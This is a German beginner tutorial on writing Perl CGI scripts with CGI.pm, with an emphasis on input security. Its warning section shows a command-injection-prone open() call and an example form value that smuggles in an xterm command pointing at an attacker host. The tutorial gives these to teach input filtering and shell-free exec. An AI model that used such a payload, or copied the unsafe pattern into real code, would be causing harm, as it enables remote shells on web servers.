ABSTRACT: perl: cgi scripts werden anhand des CGI.pm perl moduls erklaert. besonderer schwerpunkt auf sicherheit von scripts AUDIENCE: perl beginners SYSTEM: any unix SECTION: perl AUTHOR: mond COPYRIGHT: GNU Free Documentation Licence http://www.gnu.org/licenses/fdl.txt cgi scripts sind scirpts oder programme die vom web server ausgefuehrt werden und dessen ausgabe dann zum webbrowser der die seite angefragt hat geschickt wird. sie koenne auch eingaben verarbeiten die ueber html eingabefelder (FORM tag) vom browser bei der seitenanfrage mitgeschickt wurden. cgi script koennen in jeder sprache geschrieben sein. es sind im prinzip ganz normale unix programme oder scripts. einzig die konvention wie bestimmte parameter vom webserver an das script uebergeben werden und wie die produzierte seite an den webserver zurueckgeliefert wird macht die cgi scripts zu cgi scripts. angenommen unser web server erlaubt das ausfuehren von cgi scripts im verzeichniss /usr/lib/cgi-bin die dann im web auf http://meinserver/cgi-bin/ abgefraft werden koennen. (das default verzeichniss fuer scripts ist von distribution zu distribution verschieden. am besten man wirft einen blick in sein httpd.conf file oder man definiert sich dort sein eigens verzeichniss zum ausfuehren von scripts) angenommen wir schreiben dorthin das file test.cgi und machen es mit dem chmod befehl ausfuehrbar: #!/bin/bash echo Content-type: text/plain echo echo heute ist der date echo und einen lustigen spruch haben wir auch noch auf lager: /usr/games/fortune suren wir jetzt z.b. auf http://localhost/cgi-bin/test.cgi so koennen wir den output unseres scripts im web bewundern. man beachte dass die erste zeile die von einem cgi script ausgeben werden muss den mime type (hier hier text/plain meist text/html) enthalten muss gefolgt von mindestens einer leerzeile. in perl koennte unser script aehnlich aussehen. wir wuerden natuerlich print statments anstelle des echo shell kommandos verwenden. z.b: #!/usr/bin/perl -w print "Content-type: text/html\n\n"; print "\n"; for($i=1;$i<100;$i++) { print "zeile $i
\n"; } print "\n"; obiges script wuerde z.b. 99 zeilen ausgeben. fuer die oft benoetigten elemente einer html seite gibt es ein perl modul namens CGI dass deren verwendung einfacher macht. (wer will kann natuerlich weiterhin auch direkt html code zu fuss ausgeben) der hauptvorteil von CGI.pm ist aber dass es das verarbeiten von parametern die dem script ueber ein webform uebergeben wurden sehr vereinfacht. (die bei einem POST uebergeben parameter erhaelt das script in einem speziellen format ueber STDIN, das CGI verarbeitet diese eingabe). #!/usr/bin/perl use CGI; $query=new CGI; print $query->header(); print $query->start_html; for($i=1;$i<100;$i++) { print "zeile $i
\n"; } print $query->end_html; obiges script waere verwendet das modul CGI. und erzeugt dann ein "object" in der variablen $query. auf methoden dieses objectes kann mit -> zugegriffen werden. so liefter z.b. die methode $query->header() den string "Content-type: text/html\n\n". etc.. zum debugen von cgi scripts empiehlt es sich die scripts zuerst mal auf der shell selbst manuell aufzurufen. falls es fehler im echtbetrieb gibt so hilft im allgemeinen ein blick ins error-log file des webservers. dort stehen die fehlermeldungen des scripts. #!/usr/bin/perl -w use CGI; use strict; my $query=new CGI; print $query->header; print "\n"; print $query->start_html; print $query->startform; print $query->textfield('eingabe',"",60),"
\n"; print $query->popup_menu('auswahl',['bli','bla','blo']),"

\n"; print $query->submit('los'); print $query->endform; if ($query->param) { my $txt=$query->param('eingabe'); my $wahl=$query->param('auswahl'); print "die eingabe war $txt und die auswahl $wahl

\n"; } print $query->end_html; obiges script produziert ein eingabeformular (FORM tag). zum produzieren der entsprechenden html elemente werden hier die funktionen verwendet die das CGI modul zur verfuegung stellt. das FORM wird per default so angelegt dass das ziel fuer die eingegeben werte wieder das script selbst ist. (man koennte hier auch auf eine ganz andere location im web verweisen... und man muss damit rechnen dass man selbst von anderen stellen mit anderen parametern aufgerufen wird...) danach wird geprueft ob das script eine eingabe erhalten hat: $query->param ist definiert wenn dem script eingabefelder mitgeschickt wurden. $query->param('eingabe') liefert z.b. den inhalt des textfeldes feldes namens 'eingabe'. WARNUNG!! WARNUNG!! WARNUNG!! WARNUNG!! WARNUNG!! WARNUNG!! WARNUNG!! WARNUNG!! WARNUNG!! WARNUNG!! WARNUNG!! WARNUNG!! WARNUNG!! WARNUNG!! WARNUNG!! WARNUNG!! WARNUNG!! WARNUNG!! WARNUNG!! WARNUNG!! WARNUNG!! WARNUNG!! WARNUNG!! WARNUNG!! WARNUNG!! WARNUNG!! WARNUNG!! WARNUNG!! der inhalt der via webformular erhaltenen variablen ist natuerlich brand gefaehrlich. ein boeser hacker kann die variablen mit beliebigen inhalt fuellen. beliebig lang. beliebige zeichen. mann muss daher sehr sehr sehr aufpassen was man mit diesen werten macht. angenommen wir lesen die variable $email mit einem $email=$query->param('emailaddresse'); ein und machen dann z.b.: open(MAIL,"|/usr/bin/mail $email); print MAIL "hallo\n"; close(MAIL); um dem user eine email zu schicken. wenn nun jemand anstatt der email addresse den text: "bla|xterm -display boesejungs.irgendwo.at:0" oder aehnliches eingibt dann bekommt er sehr leicht eine shell die mit den permissions des webservers laeuft... man darf daher variablen die aus solch unsicherer quelle kommen KEINESFALLS auch nur in die naehe einer shell kommen lassen. am besten man filtert aus der variablen alle zeichen heraus die darin ohnehin nicht vorkommen muessen und schneidet eventuell die zeichenkette auf die laenge ab die sie maximal haben darf, etc.. z.b: $username =~ tr/A-Za-z0-9//cd; das wuerde nur die zeichen a-z A-Z und ziffern 0-9 im string uebriglassen. alles andere wuerde geloescht. $email =~ tr/A-Za-z0-9\-_@.//cd; wuerde auch noch die in emails notwendigen . - _ und @ erlauben. stellen an denen variablen von nicht sicherer herkunft gefaehrlich sein koennen sind unter anderem: * file namen, open * system, exec, `backgrave substitutionen` (exec mit einzeln aufgezaehlten parametern ist i.a. einem "system" vorzuziehen. siehe dazu auch die CD zum thema perl: fileoperationen) * eval * ausgaben (weil damit jemand z.b. beliebigen html code in dein selbst gebasteltets gaestebuch stellen kann, inklusive redirects, javascript, etc... ) .... eine moeglichkeit um unsicheren code in perl leichter zu vermeiden ist es perl mit dem switch -T aufzurfen.. (ist aber etwas muehsam und keine garantie fuer sicheren code) mehr info zum thema: man perlsec und in den links im anhang. CGI.pm bietet noch viele weitere nuetzlich funktionen zum schreiben von CGI scripts. ein blick in die perldoc manpage perldoc CGI lohnt sich in jedem fall. EXERCISES: * schreibe ein kurzes cgi script in bash das mittels des befehls "id" ermittelt unter welchen usernamen der webserver laeuft. * schreibe ein kurezs perl cgi script das mit dem unix befehl "cal" einen kalender ausgibt. verwemde dafuer das CGI modul. * "cal 1 2010" gibt den kallender fuer jaenner 2010 aus. fuege zu obigem script eingabe elemente (fuer das monat waere z.b. ein popup_menu praktisch). achte dabei besonders darauf dass dem script sowohl fuer monat als auch fuer jahr nicht anderes als zahlen uebergeben werden kann und das keinesfalls irgendwelche sonderzeichen zum aufruf an das programm uebergeben werden koennen. bevor du tatsaechlich cal aufrufst ueberpruefe die funktion deiner eingabefilter in dem du die variablen nochmals auf der webseite ausgibst). verwende die open(FH,"-|") or exec.. konstruktion zum tatsaechlichen aufruf von cal. sie stellt eine zusaetzliche sicherheit dar da damit paramter direkt an das programm uebergeben werden und nicht den umweg ueber eine shell nehmen. wenn du dir dennoch nicht sicher bist ob dein script nicht eine einladung fuer hacker ist dann schuetze das script mit einem .htaccess REFERENCES: perldoc CGI man perlsec http://www-genome.wi.mit.edu/WWW/faqs/www-security-faq.html http://hoohoo.ncsa.uiuc.edu/cgi/security.html http://www.linuxdoc.org/HOWTO/Secure-Programs-HOWTO/ http://orbit-net.nesdis.noaa.gov/ora/oraintranet/ctst/faq/q61.html http://www.w3.org/Security/Faq/wwwsf4.html http://freenet.meome.de/app/fn/artcont_portal_news_article.jsp/73411.html http://www.xwolf.com/artikel/print/cgisec_pr.html http://mjm.gmc-online.de/text/perlcgi.html http://www.cip.physik.uni-muenchen.de/~tf/perl/lektion7.html